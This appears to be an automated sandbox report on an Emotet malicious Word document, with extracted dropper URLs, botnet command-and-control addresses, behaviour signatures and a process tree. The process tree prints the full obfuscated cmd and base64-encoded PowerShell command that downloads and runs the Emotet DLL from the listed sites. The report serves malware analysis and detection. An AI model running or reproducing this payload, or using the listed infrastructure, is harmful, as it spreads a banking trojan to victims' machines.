emotet | c11ac21bc7b7efda21d9fe5db76ddb64ea7f013ca7d2d3078dd4bb75ddc21f43

Analysis

max time kernel
128s
max time network
145s
platform
windows7_x64
resource
win7v20201028
submitted
26-01-2021 12:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8212515.doc

Score

10^/10

emotet epoch1 banker ransomware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://shannared.com/content/lhALeS/

exe.dropper

http://jeevanlic.com/wp-content/r8M/

exe.dropper

http://dashudance.com/thinkphp/dgs7Jm9/

exe.dropper

http://leopardcranes.com/zynq-linux-yaayf/w/

exe.dropper

http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/

exe.dropper

http://3musketeersent.net/wp-includes/TUgD/

exe.dropper

https://skilmu.com/wp-admin/hQVlB8b/

Extracted

Family

emotet

Botnet

Epoch1

84.232.229.24:80

51.255.203.164:8080

217.160.169.110:8080

185.183.16.47:80

190.45.24.210:80

187.162.248.237:80

93.146.143.191:80

185.94.252.27:443

143.0.85.206:7080

80.15.100.37:80

85.105.239.184:443

94.176.234.118:443

62.84.75.50:80

137.74.106.111:7080

172.104.169.32:8080

46.105.114.137:8080

94.126.8.1:80

78.206.229.130:80

93.149.120.214:80

192.175.111.212:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1364 1888 cmd.exe
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 1580 powershell.exe
8 1080 rundll32.exe
9 1080 rundll32.exe
10 1080 rundll32.exe
11 1080 rundll32.exe
14 1080 rundll32.exe
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1676 rundll32.exe
1676 rundll32.exe
1676 rundll32.exe
1676 rundll32.exe
892 rundll32.exe
892 rundll32.exe
892 rundll32.exe
892 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1364	1888	cmd.exe

flow	pid	process
6	1580	powershell.exe
8	1080	rundll32.exe
9	1080	rundll32.exe
10	1080	rundll32.exe
11	1080	rundll32.exe
14	1080	rundll32.exe

pid	process
1676	rundll32.exe
1676	rundll32.exe
1676	rundll32.exe
1676	rundll32.exe
892	rundll32.exe
892	rundll32.exe
892	rundll32.exe
892	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

rundll32.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Tolttha\mzwthx.rai	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1108 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exerundll32.exe

pid process

1580 powershell.exe
1580 powershell.exe
1080 rundll32.exe
1080 rundll32.exe
1080 rundll32.exe
1080 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1580 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1108 WINWORD.EXE
1108 WINWORD.EXE

pid	process
1108	WINWORD.EXE

pid	process
1580	powershell.exe
1580	powershell.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe
1080	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1580	powershell.exe

pid	process
1108	WINWORD.EXE
1108	WINWORD.EXE

Suspicious use of WriteProcessMemory 41 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exeWINWORD.EXE

description	pid	process	target process
PID 1364 wrote to memory of 316	1364	cmd.exe	msg.exe
PID 1364 wrote to memory of 316	1364	cmd.exe	msg.exe
PID 1364 wrote to memory of 316	1364	cmd.exe	msg.exe
PID 1364 wrote to memory of 1580	1364	cmd.exe	powershell.exe
PID 1364 wrote to memory of 1580	1364	cmd.exe	powershell.exe
PID 1364 wrote to memory of 1580	1364	cmd.exe	powershell.exe
PID 1580 wrote to memory of 1820	1580	powershell.exe	rundll32.exe
PID 1580 wrote to memory of 1820	1580	powershell.exe	rundll32.exe
PID 1580 wrote to memory of 1820	1580	powershell.exe	rundll32.exe
PID 1820 wrote to memory of 1676	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1676	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1676	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1676	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1676	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1676	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1676	1820	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 892	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 892	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 892	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 892	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 892	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 892	1676	rundll32.exe	rundll32.exe
PID 1676 wrote to memory of 892	1676	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 540	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 540	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 540	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 540	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 540	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 540	892	rundll32.exe	rundll32.exe
PID 892 wrote to memory of 540	892	rundll32.exe	rundll32.exe
PID 540 wrote to memory of 1080	540	rundll32.exe	rundll32.exe
PID 540 wrote to memory of 1080	540	rundll32.exe	rundll32.exe
PID 540 wrote to memory of 1080	540	rundll32.exe	rundll32.exe
PID 540 wrote to memory of 1080	540	rundll32.exe	rundll32.exe
PID 540 wrote to memory of 1080	540	rundll32.exe	rundll32.exe
PID 540 wrote to memory of 1080	540	rundll32.exe	rundll32.exe
PID 540 wrote to memory of 1080	540	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1628	1108	WINWORD.EXE	splwow64.exe
PID 1108 wrote to memory of 1628	1108	WINWORD.EXE	splwow64.exe
PID 1108 wrote to memory of 1628	1108	WINWORD.EXE	splwow64.exe
PID 1108 wrote to memory of 1628	1108	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8212515.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1628

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
